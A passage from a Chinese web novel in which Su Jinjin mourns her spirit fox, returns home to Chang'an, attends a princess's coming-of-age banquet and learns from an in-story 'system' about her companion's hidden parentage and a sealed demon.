“你已经拼尽全力了,”林怀烟叹了口气,“它陪你走过那些日子,定是欢喜的,从不是你的负累,也不会怪你。”
“它走了,只是换了种方式,藏在你的回忆里,陪着你罢了。”
苏锦锦垂着眼,指尖揪着林怀烟的衣角,橘瓣的甜还在舌尖,心底的伤痛,终于不再疼。
她想起时晏清说的话,想起和灵狐一起在院里打闹、在灯下偎着写信的日子,那些暖,真的从未消失。
“它总爱偷吃灶上的桂花糕,总爱蹭我的手……”她轻声呢喃,语气里还有怀念,却没了先前的绝望,“我还留着它掉的一根狐毛,收在锦盒里。”
“那就好好收着。”林怀烟摸了摸她的头,“想它了,就看看,就当它还在。”
窗外的风还在吹,却好像没那么冷了。
苏锦锦抬眼,望着窗棂外漏进来的一点天光,眼底的红还未褪尽,却亮了些,像蒙了雾的星,终于挣开了云。
她抬手擦了擦眼角,接过林怀烟递来的另一瓣蜜橘,慢慢嚼着,点了点头。
林怀烟瞧着她这般,眉眼也软了,知道这孩子,终是慢慢想通了。
生离死别本是常态,能做的,不过是带着那些温暖的回忆,好好往前走。
又坐了半晌,苏锦锦靠在床头,竟有了些倦意,许是哭累了,眼皮轻轻耷拉着。
林怀烟替她盖好被子,又将那盘蜜橘推到床头,放轻脚步起身。
“快点睡吧,我就在隔壁,有事喊我。”
苏锦锦轻轻“嗯”了一声,看着林怀烟带上门,一室又归了安静,却不再是先前那般凝滞的冷,反倒有了些淡淡的暖意。
她侧过身,望着床头的锦盒,那里面藏着灵狐的狐毛,藏着她和它的岁岁年年。
她伸手轻轻碰了碰锦盒,唇角轻轻勾了勾,带着点湿意的软。
没关系的。
她想。
它也会望着那轮圆月,他们,从不是历史长河中的沧海一粟。
生命短暂,却又波澜壮阔。
窗外的枯桠晃了晃,似是风停了,天光慢慢亮了些,透进窗来,落在锦盒上,镀了一层温柔的光。
36. 分别
而门外,林怀烟刚走出去,便见时晏清立在廊下,背对着她,听见动静,才缓缓回头。
眼底的红还未消,却带着几分急切的探询,目光落在紧闭的房门上,轻声问:“她怎么样了?”
林怀烟笑了笑,轻轻摇了摇头,却道:“哭出来了,心里松快多了,歇着呢。”
时晏清悬着的心,终是轻轻落了地,长舒一口气,肩头也彻底松了下来。
他望着那扇门,眼底漫开温柔的笑意,像卸下了千斤重担,指尖轻轻拂过廊柱上的微凉,低声道:“那就好。”
晚风依旧,檐角的灯笼轻轻晃着,昏黄的光将影子映在青石板上。
宅院里的沉寂,终是散了,漫出几分温柔的烟火气,像冬日里的一杯温茶,暖了这微凉的夜。
而榻上的苏锦锦,闭着眼,嘴角噙着一点浅淡的笑意。
梦里,灵狐依然没有离去,蹭蹭了她的掌心,窝在脚边,打着呼噜。
*
当清晨的朝阳再次升起,当阳光普照大地,苏锦锦的情绪已经调节好了,又变成了往日活泼灵动的小姑娘,一双杏眼又乍现了灵气。
苏沐风撞见她,先怔愣一瞬,随即眉眼舒展,染上笑意,忙从怀里掏出些什么东西。
“锦锦,今早收到阿爹阿娘的信,你看看吧。”
苏沐风掌心明晃晃躺着一封未开封的信笺,素白封皮上映着晨光,苏锦锦点点头接了过来。
她折身回屋,小心翼翼地关上房门,快步走向桌几,打开信笺。
信的内容满是爹娘的惦念,远在长安的苏父苏母一边担心她的三餐冷暖,又一边担心她安心入眠。
苏锦锦指尖轻轻摩挲着带着墨香的信纸,唇角勾起一抹娇软的笑。
思念如潮水般疯涨,涌上心头变成一股难以言说的酸涩。
夜色漫上来,将天地拢进一片温软的墨色里。
偶尔有虫鸣从院内响起,低低切切,倒是显得这夜幕更为静。
苏锦锦掀帘进屋时,林怀烟与李婉忙了一下午,已备好晚膳。
碟碗错过,热汤还氤氲着白气。
林怀烟双臂搁在桌边,听见门口窸窸窣窣的响声,抬眸望过去,眼里盈着期待。
见来人是苏锦锦,便招呼着她落座,还起身替她舀了勺汤。
苏锦锦手有些抖,留神间汤汁已将帕子染湿,边角还绣了个“锦”字。
这副帕子她从长安带过来的,边角的桃花绣的恰到好处,她宝贝得紧,此刻被损坏,眼底划过一抹淡淡的失落。
“没事没事。”
苏锦锦的情绪消化的也快,大家也放心下来。
在晚膳一半时,苏锦锦搁下筷子,神色难得的严肃。
“哥,林姐姐,我们回家吧。”
苏沐风被苏锦锦突如其来的一句话愣在了原地,时晏清随即反应过来,微微倾身,牵着她她的皓腕,指腹摩挲着她的手腕,柔声说道:
“锦锦,要么在歇息一天,明日再启程?”
苏锦锦垂眸看了眼牵着的手,雪白的肌肤上已透出一抹淡淡的粉红,染到耳尖,扬起唇角点了点头。
几人目光不自觉转向了在一旁静坐的李婉,目光柔和亲切,又带了几分的意味。
“小婉儿……”
李婉弯着一双黑眸,安静地像一株幽兰,淡淡开口:“没关系的,我留在这儿就好,西街的柳姨交了我些刺绣的手艺,往后在这儿过日子,也清净。”
林怀烟收回目光,对李婉的成熟懂事有些心疼,连连答应:“好,那也好。”
*
已是十月末,星子疏疏落落地坠在墨色夜幕里,夜风裹着清浅的凉,漫过庭院,温柔得像一层薄纱。
李婉坐在院中的石凳上,石面的微凉沁入衣料,她却浑然不觉,只是怔怔望着漫天星河,眼底蒙着一层化不开的茫然。
清浅月色穿过枝叶缝隙,碎银似的落在她素色衣摆上,随晚风轻晃,漾出各式灵动的花影。
苏锦锦立在檐下,静静望着这静谧的一幕,片刻后抬步上前,将身上的斗篷轻轻披在李婉肩头。
随即她又抬手,温柔地拍了拍她的后背。
李婉这才回过神,转头冲着苏锦锦弯了弯唇角,漾开一抹浅淡的莞尔。
苏锦锦顺势坐在她身侧,晚风掠过,拂起两人的发梢,如蝴蝶般在夜空中翩翩起舞,划出优美的弧度。
“你在看星星吗?”她轻声问。
李婉沉默半晌,轻轻
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摇了摇头,唇角扯出一抹浅淡的笑:“也不算吧。”
“小时候,我爹在外喝醉了酒,回来就打我娘,我总扑在娘身前,替她挨下那些拳脚。”她的声音轻轻的,像被夜风揉碎,自顾自讲了起来,“后来娘生了场大病,家里里里外外的事,就都是我在操持着。”
“还是西街的柳姨,看着我被爹打伤的模样,不忍心,偶尔会给我送些糕点或者其他吃的。”
她眸光又温柔了下来:“柳姨也是一个善良的人,她后来在爹出门吃酒时,便将我拉进屋内教我些刺绣的手艺。”
黑眸里盛着满院月色,晃着晃着,便漾起了盈盈水光。她哽了哽喉,接着道:“我爹骂我娘,说她要死便赶紧死,还能省些钱粮。”
李既那刻薄的咒骂声,仿佛就响在耳畔,苏锦锦垂在身侧的手,不自觉地攥紧,指节泛了白。
她只是静静听着,任由李婉轻柔的声线,在心底漾开一圈圈酸涩的涟漪。
“我看着娘亲一日日消瘦下去,心里慌得很,也茫然得很,不知道往后的路,该往哪走。”
“娘亲就摸着我的头说,日后若是迷茫了,或是想她了,就抬头看看星星,她会在天上,一直陪着我。”
李婉忽的破涕为笑,抬手用袖角擦了擦眼角的晶莹泪花,语气里带着几分自嘲:“都是骗小孩的话……”
苏锦锦看着她,唇角轻轻弯起,伸手牵住了小姑娘微凉的手,掌心的温度缓缓传过去。
“若是骗小孩的,你怎么还坐在这儿,望着星星发呆?”
“我……我只是……”李婉的话卡在喉咙里,一时竟说不出缘由,只觉得鼻尖又微微发酸。
夜风柔柔地吹,拂过耳畔,带着几分温柔的哄慰。
“如果有爱的话,就会一直都在。”苏锦锦的杏眸里盛着漫天星子,亮得晃眼,仿佛将整片星空都揉进了眼底,“往后迷茫时,抬头看看星星,我和她,都会一直陪着你。”
李婉望着她眼中的星光,望着两人交握的手,唇角慢慢扬起,这一次,眼底的茫然散了,笑里是实打实的暖意,清浅,却真切。
在天上,一定住着很多的人。
不然,怎么能装的下这么多的思念。
(第三卷完)
37. 回家
晨雾笼罩着院落,阳光从云絮中漫出来。
院中的叶片还凝着露水,几声鸟鸣穿过枝桠,敲碎了晨间的静。
马车摇摇晃晃,依旧是方府派的那一辆,幕帘随着风的摆动轻轻扬起。
几人收拾好行囊,伫立在马车前,等待着与院内的朋友告别。
李婉提着裙摆小跑到几人跟前,脸颊染上一层薄红,素色的裙摆在空中荡漾。
“等一下。”
她立在几人面前,弯着腰喘了几口气,半晌才抬眸,眼底盛着真切的暖意:
“多谢诸位一路的照拂与相助,我为大家准备了些礼物,聊表心意。”
众人皆是惊喜,笑着接过各自的礼物。
苏锦锦弯着眉眼,指尖轻捻着包袱系带,小心翼翼地将其解开。
锦缎帕子静静躺在其中,右下角绣着一个娟秀的“锦”字,旁侧一只嬉闹的猫儿针脚细腻,绣的栩栩如生。
李婉撞进苏锦锦炽热又明亮的目光里,不由得有些赧然,垂了眸挠了挠后颈,轻声道:
“想着昨夜用膳时,你的帕子沾了污渍,看你喜欢这条,昨晚便连夜绣了这帕子。”
苏锦锦心头一暖,笑着伸手轻轻环住了李婉的肩。
几人又闲话几句,便互相告别,转身离开了徽州。
苏锦锦牵着时晏清的手钻进马车,一手还撩着车帘,探着身子朝李婉挥着,眼底满是不舍。
李婉亦立在原地,朝着马车驶去的方向用力挥手,双手张成了喇叭状。
“一路顺风啊。”
直至那辆马车缓缓转过街角,消失在长街尽头,李婉才放下了手。
待李婉的身影缩成远处一个小小的黑点,苏锦锦才恋恋不舍地收回目光,坐回马车里,轻轻靠在软榻上。
她深吸了一口气,想着马上就要回到长安,见到日思夜想的爹娘,复杂的情绪才慢慢地平稳了下来。
林怀烟看着她眉眼间的倦意,望了望天,温声笑道:“锦锦,不如先歇一会儿,晚上应该就能到镇远侯府了,到时候我们再叫你。”
苏锦锦扬唇应了声好,往软榻深处蜷了蜷,阖着眼眯了起来。
秋风渐紧,卷着微凉的风透过车帘缝隙钻进来,苏锦锦打了个寒颤,睫毛轻颤着睁开了眼。
靠在她身侧的时晏清闻声惊醒,见她睡眼朦胧的模样,便解下自己身上的斗篷,轻轻披在她肩上。
时晏清又抬手拍了拍她的背,声音轻柔地拂过苏锦锦的耳畔:“再睡会儿,还未到地方。”
苏锦锦“嗯”了一声,往他身侧靠了靠。
直至身侧再次传来平稳的呼吸声,时晏清这才安心下来阖上了眼。
再睁眼时,车外已是暮色沉沉,天边只剩一缕残阳,正一点点沉向远山。
马夫忽然勒住缰绳,马车稳稳停了下来,外头传来他浑厚的声音:“小姐,公子,镇远侯府到了。”
混沌的睡意瞬间烟消云散,马车外传来苏父苏母及镇远侯府的仆从们的声音,苏锦锦猛地坐直身子。
她掀开车帘两三步,跳了下去,脚步轻快地朝着苏父苏母的方向扑去。
苏老将军敞着衣襟,本想伸手迎她,不料苏锦锦径直扑进了苏夫人怀里,他只得抬手,略显尴尬地揉了揉女儿的发顶。
“慢点啊,锦锦。”
“爹,娘,我好想你们。”
这话,半分掺假也无,在离家的无数个深夜,迷茫的时刻,思念便如潮水般涌上心头。
苏夫人环着女儿的腰,指尖抚摸着苏锦锦的发丝,声音里裹着藏不住的心疼,眼眶微微泛红:
“锦锦都瘦了一圈,回来了就好。”
苏锦锦埋在母亲怀里蹭了蹭,鼻尖萦绕着熟悉的兰芷香,连日赶路的疲惫竟散了大半,只觉得心头暖烘烘的。
苏沐风抚着林怀烟下马车,同时晏清也一并缓缓走了过来,温和地开口。
“爹,娘。”
两人视线望向了几人,苏老将军面上的笑快要漫了出来,望着苏沐风的眼神里满是欣慰,点了点头。
“快进来吧,府上已备了暖汤与晚膳。”
府里的下人早已迎了上来,接过几人手中的行囊,引着众人往内院走。
小禾看着苏锦锦,高高扬起了唇角,苏锦锦一手牵着苏夫人的手,一手小幅度地朝着她摆了摆。
青石路两旁的桂树落了满地碎金,晚风卷着桂香,混着府里暖阁飘来的檀香,是家的味道。
苏锦锦牵着母亲的手,脚步轻快,一路絮絮说着路上的琐事,说起姑苏的方府,徽州的风物,说起李婉的热情,说起沿途遇见的趣闻……
像只小麻雀一般围绕在苏夫人身边。
走在身后的时晏清扬了扬眉,竟觉得苏锦锦莫名地有些可爱。
苏夫人在她身边听得认真,时不时插一句,问她吃没吃好,住得可惯。
行至暖阁,铜炉里燃着银丝炭,暖意扑面而来。
下人端上温热的蜜水,苏锦锦喝了一口,甜丝丝的暖意从喉咙淌进心底。
林怀烟与苏沐风被府中的仆从们引去偏院歇息,时晏清则随苏老将军去了前堂,说是有几句话要谈。
苏夫人拉着苏锦锦坐在软榻上,细细打量着她,指尖抚过她手腕上一点浅浅的红痕,蹙眉道:“这是怎么弄的?路上受了委屈?”
“不过是不小心蹭到的,娘亲不用担心。”
苏锦锦笑着挽住她的胳膊,把那方绣着猫儿的锦帕拿出来:“您看,这是徽州的李婉姑娘给我绣的,她手可巧了。”
苏夫人看着帕子上灵动的猫儿,笑着点头:“倒是个心细的姑娘。”说着便唤来小禾,“去把小姐的寝殿收拾出来,再备桶热水,让小姐好好梳洗一番。”
小禾恭恭敬敬地行礼,眉眼间是抑制不住的笑意。
不多时,热水备妥,苏锦锦梳洗过后,换了一身软糯的藕荷色夹袄,整个人都清爽了不少。
待她到饭厅时,晚膳早已摆好,满满一桌都是她爱吃的菜,糖醋鱼、蟹粉豆腐、莲子羹,样样精致。
苏老将军与苏夫人坐在主位,时晏清坐在一侧,见她进来,目光温
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柔地落在她身上。
苏锦锦挨着母亲坐下,拿起筷子,第一口便夹了糖醋鱼,熟悉的滋味在舌尖化开,眼眶忽然就有点热。
“慢点吃,没人跟你抢。”苏夫人笑着给她夹菜,碗里很快便堆了满满一碗。
她忽的忆起了在姑苏城的方夫人与方姝,仿佛天下的母亲都是如此。
苏老将军喝了口酒,看着女儿狼吞虎咽的模样,嘴角的笑意藏不住:“在外头这些日子,想来也没吃好。往后就在府里好好歇着,哪儿也别去了。”
苏锦锦嘴里塞着菜,含糊地应着:“嗯。”
一餐饭吃得热热闹闹,满室温馨。
晚膳过后,小禾蹦蹦跳跳地过来,陪着苏锦锦在庭院里走了走,月色如水,洒在青砖地上,树影婆娑。
小禾说着长安城近来的琐事,谁家的小姐定了亲,谁家的公子考中了功名,家长里短,却让苏锦锦觉得无比安心。
“小姐,你怎么提前回来了呢?不是说来年春天吗?”
苏锦锦眸光闪烁:“没有预料里的太多意外,但在路上也遇到了些事,才耽搁了些,不然能更早些回府。”
小禾点了点头,忽的忆起了什么,迫不及待地讲:“对了小姐,你走之前说让我和桃枝好好相处些。”
“后来你走了后,我平日打扫完屋子便跑到小厨房去找她闲聊。”
苏锦锦挑了挑眉,听着她继续道。
“最开始呢,我和她说话她都不怎么搭理我,后来她才愿意和我说话,她这个人也挺有意思的。”
苏锦锦放下了心,引着小禾朝着她的闺房里走。
“那便好,日后多说说话,在府里也不孤单。”
回到苏锦锦的闺房时,丫鬟早已铺好了软和的锦被,帐幔上绣着她最爱的缠枝莲纹。
苏锦锦靠在窗边,看着窗外的月色,指尖摩挲着那方锦帕。
想起姑苏的暖风,想起徽州的长街,想起路上与大家相伴的日夜,想去那只活蹦乱跳的灵狐。
心里既有归家的安稳,又有几分淡淡的惦念。
门扉轻叩,时晏清走了进来,手里端着一盏温好的牛乳:“睡前喝一碗,睡得安稳。”
苏锦锦接过牛乳,温温的暖意从掌心传到心底,抬眸看他,眼底盛着月色:“今日多谢你了。”
“跟我何须说谢。”时晏清坐在她身侧,看着她喝完牛乳,又替她理了理额前的碎发,“一路奔波,早些歇息,明日再陪伯父伯母说话。”
他说完,便轻手轻脚地退了出去,替她带上了门。
只留下苏锦锦呆呆地坐在塌边,半晌还未回过神来,脑海里思考着这两个名称。
苏锦锦一股脑缩进了锦被中,还散发着淡淡的香味,大脑有些混沌。
离家的那些日子,见过人情冷暖,互帮互助,也见过冷漠蔑视,人间百态。
离家这么久,也唯有家和爹娘在身侧,才是安稳的归宿。
这一夜,苏锦锦睡得格外沉,梦里皆是姑苏的暖风,徽州的花影,还有家中暖阁的灯火,温柔又绵长。
38. 郡主
十一月五日。
香炉内升腾起淡色烟雾,苏锦锦躺在屋内铺着软垫的摇椅上,手中握着汤婆子。
一本书随意的遮盖住她的眼眸,正惬意地眯着眼。
小禾急匆匆地推门而入,手中朱红色的请柬晃的刺眼。
“小姐,小姐。”
她清甜的声线中还带了些喘息声。
苏锦锦闻声却没动,嗓音中带着一丝睡醒的沙哑“怎么了?”
小禾咽了下口水,便应道:“小姐,长公主府递了请柬,说是长宁郡主明日举办及笄礼,请小姐与其余三位方士前来赴宴。”
“哦。”苏锦锦漫不经心地应到,手中正抱着汤婆子。
忽的又忆起了什么,苏锦锦坐直了身,连盖在脸上的书也一并掉落在地上,发出啪嗒一声响,书页散落开来。
“谁?长宁郡主?”
*
马车摇摇晃晃,压过长安街青石板铺成的路。
四人正端坐在车内,朝着长公主府的方向缓缓驶去,气氛陷入了诡谲。
虽说听闻了长公主殿下的事迹,纵有万般不肯,也碍于面子只好赴宴。
“念妖一事还未解决,这长公主府多年以来与镇远侯府也未曾有过关联,如今找我们上门,定是为了念妖之事。”
苏沐风自顾自分析着。
林怀烟死死拽着衣角,眨了眨干涩的双眸,连呼吸也乱了。
这一夜,她都未曾睡好,脑海中满是多年前的那个夜晚。
对这种高高在上的皇亲国戚,他们没有插手的份,没有喊冤的理,只好匍匐在地上,仰望着。
在权势下,一切的怨恨也只好混着委屈与泪水咽下去。
苏锦锦扯过她的手,轻轻地拍了几下。
“林姐姐,没关系的,只是赴个宴,再说各家公子小姐都在场,听闻淑妃娘娘也会前往长宁郡主的及笄礼,他们不敢拿咱们怎么样的。”
马车缓缓平稳,马夫在前面喊一声,几人便下了车。
递过帖子,几人大步踏入了长公主府。
身后人群熙熙攘攘骚动,豪华的轿子停在府门口。
一位身着织金绣凤的女子款款走下,气度雍和,众人规规矩矩地喊着:“淑妃娘娘好。”
主角团四人也连忙行礼,低下了头去:“淑妃娘娘好。”
淑妃娘娘抬脚往前走,余光却瞥见了时晏清和苏锦锦腰间的那玫双鱼玉佩,眸光闪烁。
她步子愣在了原地,连抬脚都忘了,直至身侧的宫女再次提醒:“娘娘?”
她这才反应过来,压下心底翻滚的情绪,继续向前走。
苏锦锦望着淑妃娘娘近在咫尺的面庞,与梦中朦胧的模样重合。
只不过,当初在淑妃娘娘身侧的大宫女,早已换成了眼前这位眼生的小姑娘。
近在咫尺,却遥不可及,不可相认。
时晏清察觉到苏锦锦的失态,轻柔地牵起她的手,开口询问:“怎么了?”
苏锦锦回过神来,眨了眨眼:“没事。”
长公主府庭院内铺着青石板,两侧的腊梅含苞待放,冷风中沁着一丝香。
苏锦锦找了个靠窗的位置坐下,便见长宁郡主身着一袭石榴红蹙金绣袄裙,由驸马缓缓牵了进来。
听闻长宁郡主名唤江南意,自小在皇家长大,长宁郡主的气质矜贵,眉眼精致,与驸马有七八分相像。
她目光扫到坐在苏锦锦身侧的时晏清,望着那张与自己出奇相似的脸,迟迟未回过神来。
林怀烟眸光在长宁郡主与时晏清身上徘徊,小声开口:“阿清与郡主长得蛮像的,都是桃花眼,薄唇。”
半晌,苏沐风也补充道:“脸型也如出一辙。”
与其说与长宁郡主像,倒不如说是与驸马相像……
这个念头一出现,苏锦锦立即绷直了背,脑中嗡鸣不断。
脑海中响起一道熟悉的提示音。
【恭喜宿主,“时晏清”人物身份谜团已完成50%】
【愿宿主再接再厉哦】
系统的一系列话正印证了苏锦锦脑海中那个不可置信地想法。
阿清竟是淑妃娘娘与驸马江砚所出……
她随即调整了情绪,垂下头望着盘中晶莹剔透的葡萄。
“想吃吗?”
不待苏锦锦回答,时晏清已剥好了一小盘葡萄,推到苏锦锦面前。
他那双极完美的手上沾满了汁水,又慢条斯理地拿起帕子擦了擦。
“快吃吧。”
“好。”
她接过盘子小口小口吃起来,动作像只慢吞吞的兔子。
苏锦锦不敢抬头看,却总觉淑妃娘娘的目光一直落在几人的身上,连吃葡萄的动作也显得格外僵硬。
她的预感没错,此刻的淑妃,目光不自觉频频瞥向她,脑海中满是方才的那玫玉佩。
“娘娘,娘娘?”
身侧的小宫女唤了半天,
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才将淑妃娘娘的思绪拉了回来。
“这里人多嘈杂,娘娘可是身体不适?要不奴婢抚您去院内逛一逛。”
小宫女十五六岁,年龄不大,应是不知这宫中秘事,却又一心效忠主子。
淑妃娘娘面颊微红,不愿承认心中的秘密,只好借口是不喜这香薰。
却不知何时,驸马也不见了踪影,屋内欢声笑语,全然不知。
而时晏清却一直注视着这一切,想着在府门时苏锦锦的反应,她定是知道些什么。
他也隐隐猜到了自己的身世,心突突地跳。
正思索间,忽然听见一声惊呼。
一名侍女正端着果盘经过,却不知为何脚下一滑,果盘脱手而出,朝着苏锦锦的方向飞了过去。
几颗樱桃砸在她的身上,汁水染红了苏锦锦的衣襟。
其余几颗樱桃散落在地,滚了几个圈最终停下。
那名侍女怕急了,连连跪在地上,口中念叨着:“小姐恕罪,小姐恕罪……”
苏锦锦却摆了摆手,示意她起身,自己则前往偏殿处理。
刚踏出门,冷风便钻进了衣襟,苏锦锦打了个寒颤,只好加快了些步子。
转角处,却听见了窸窸窣窣的声响,苏锦锦吓得紧贴在墙壁上,探出半个脑袋向声音的方向寻去。
只见淑妃娘娘与驸马正站在院中,方才娘娘身侧的小宫女也识趣地退了去。
腊梅含苞待放,正散发着香。
淑妃娘娘正望着那腊梅,眼神轻柔,又带了些经过岁月洗礼的疲惫。
“若当年我没陪你赏花,是不是……”
后半句江砚没再道下去,淑妃娘娘一手摸着腊梅,垂眸苦笑,指尖用力,梅花的枝叶沾满了手。
“世事无常,过去的,就莫要再提了……”
江砚只好闭了嘴,静静地陪在淑妃娘娘身边,看着她赏花。
他小心翼翼地伸出手,刚碰到时南忆的指尖,她便猛地收了回来。
“如今你我地位不同,莫要逾矩。”
她转过身:“我累了,回屋吧。”
久别重逢,淑妃娘娘还如当年怀春的少女。
她步履稳健,却少了当年的欢快,身姿在日复一日的操劳中变得更清瘦,更坚定。
江砚望着空空如也的掌心,往昔的场景一幕幕浮现在脑海。
物是人非事事休,欲语泪先流。
多想回到过去,再紧紧牵住你的手。
39. 真相
十六年前。
嫁与江砚的第四年,长公主殿下染了一场风寒。
可长公主病愈后身子却一日差过一日,日渐消瘦,面色白得像褪尽了血色。
而当初临近长公主的生产之日,圣上对这个一母同胞的妹妹也极具担心。
长公主府里人来人往,太医换了一波又一波。
府中处处浸着冷意,宫女们端着的瓷盘里,是一碗碗的血水,在深秋的冷空气中散发着淡淡的腥气。
江砚立在寝殿外,抬袖擦了擦额前的薄汗,眸色中却没有半分心疼,只剩下冷意。
一声清脆啼哭划破死寂,下一刻,便传见长公主菀逝的消息。
对外,府中只称长公主本就体弱,诞下小郡主后油尽灯枯,撒手人寰。
无人知晓,这场绵延五年的“病”,本就是江砚布下的死局。
慢性的毒药,藏在她日日入口的膳食里,浸在她贴身的衣料间,融在她殿中常年点燃的香薰里……
一点点磨去她的生机,悄无声息,天衣无缝。
产婆抱着襁褓中的女婴出来,小郡主尚未睁眼,小脸粉雕玉琢,软乎乎的一团。
“驸马爷,为小郡主赐个名吧。”
江砚垂眸看着那团小小的身影,声音淡得无波:“便唤江南意吧。”
江南意,将难忆,岁岁年年,唯我知意。
时晏清,誓言轻,朝朝暮暮,皆是虚情。
*
待主角团四人踏出脚,刚要走出府门时,身后却传来一道清脆的女音。
“等等。”
四人纷纷回眸,见来人是淑妃娘娘,便颔首行礼。
“淑妃娘娘好。”
她眉眼间化开一丝笑意,挥手叫几人不必多礼,从怀中掏出了一支点翠珠簪。
簪子是孔雀的翠色,簪头雕刻成盛放的海棠,垂着两三粒淡粉珍珠流苏。
苏锦锦怔愣在原地,淑妃娘娘却会意,淡声开口:“听闻席间你的衣裳被侍女不小心弄脏,便赠予这支簪子聊表歉意。”
苏锦锦抬手,下意识想要拒绝,却见淑妃娘娘再度开口。
“就当是皇家颜面了。”
她望向身侧的时晏清,一切想要拒绝的话又重新咽回了肚子里,双手接过那支簪子。
簪子在阳光下熠熠生辉,苏锦锦连忙欠身:“谢淑妃娘娘赏赐。”
淑妃的目光转向了苏锦锦身侧的时晏清,只点头微笑便离开了。
*
苏锦锦正端坐在榻上,遣退了小禾,手中摩挲着方才淑妃娘娘赠予的那支点翠珠簪。
“那要是这么说,当年淑妃娘娘与驸马爷两情相悦,不过长公主心悦了驸马爷,一道懿旨拆散了两人,然后淑妃娘娘也被圣上抬进了宫?”
【对】
苏锦锦向后仰,直直地陷入软榻的锦被上。
今日接连遇见的事缠成了一团乱麻,搅得她大脑混沌,抬手揉了揉眉心。
“那阿清身上那个诅咒,和念妖也有关系吗?”
【也不算吧,十八年前长公主就开始修炼禁术,只不过当初她还并未成功】
“她那么想要念妖干什么?难道不知道念妖会给这个世界带来什么后果吗?”
苏锦锦语气里满是不悦。
【她与江砚成婚没多久,便得知了他心悦的其实一直都是淑妃娘娘,和她成婚也只不过是怕违抗圣旨】
【她为了得到江砚的爱,所以才动用了禁术】
苏锦锦摇了摇头,内心腹诽她还是个恋爱脑。
【然后长公主发现了时晏清身上的秘密,在大宫女带他离开之时,便使用禁术在他身上下了诅咒】
苏锦锦一手扯着衣角,撇了撇嘴,语气中满是不公:“那阿清还挺惨的。”
系统没再接她的话,自顾自说下去:【在长公主殿下死后,她的魂魄不散,强大的执念迫使她与念妖合二为一,最终破了八方阵】
“那念妖到底是冲着谁来的啊?”
她将脸埋在了被子里,闻着被子的馨香,才能让她短暂地逃离这个纷扰的世界。
【念妖只是吸收了千年来积攒的怨气与执念,在加上长公主的执念,所以才如此强大】
系统顿了一下,又欢快的开口。
【你还记不记得林姐姐之前
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说的,方士玄昭宁布下八方阵,这才将念妖困住其中】
苏锦锦从被子里出来,冲着空气不满地啧了一声。
“你怎么还学我?也叫起林姐姐了?”
半晌,那道熟悉的少女音迟迟没有传来,苏锦锦这才低了头。
“哎呀我不逗你了,你出来吧,八方阵是什么啊?”
【八方阵,就是由东西南北,东南东北,西南西北八个方位来镇压镇中之物】
【要么你觉得那念妖这种大妖,有那么好镇压的吗】
苏锦锦又躺在了锦被上,一副生无可恋的模样:“那现在长公主府的那个阵法还在吗?”
【Yes】
她笑出了声,眉眼间漫上一丝惊喜:“你还会说英语啊?”
系统声音淡淡,沉默了半晌才开口【和你学的啊】
“那有没有什么破解的办法的啊?总也不能像原著那样献祭我和阿清吧。”
苏锦锦正摆弄着垂落的发带,全然没注意到系统异样的情绪,见系统迟迟不回答她的问题,又放下手中的动作。
“你还在吗?”
【八方阵每七年开启一次,半月后便是第一次的开启之日】
【只要将念妖与其中一个人陷入其中,便可以重新启动八方阵,将念妖困之其中】
苏锦锦又耷拉下脑袋,神情中满是不悦:“你不是白说了吗?那到头来还是得像原著一般献祭一个人啊。”
话音刚落,木门被轻轻叩响,吓了苏锦锦一个机灵。
苏夫人端了杯热牛乳进屋,轻轻地走向她的塌边,将热牛乳递在苏锦锦的掌心上。
“和谁说话呢?”
“啊?”
掌心处传来热牛乳的温度,使得苏锦锦的思绪又再次拉了回来。
想着不能暴露系统存在的事情,苏锦锦攥紧了手心,又摇了摇头:“没啊,没和谁。”
苏夫人又摸了摸苏锦锦的脑袋:“快些睡吧。”
她端起苏夫人递来的牛乳,一饮而尽,又缩回了被子里。
“好。”
苏夫人替她掖好了被角,轻手轻脚地退了出去。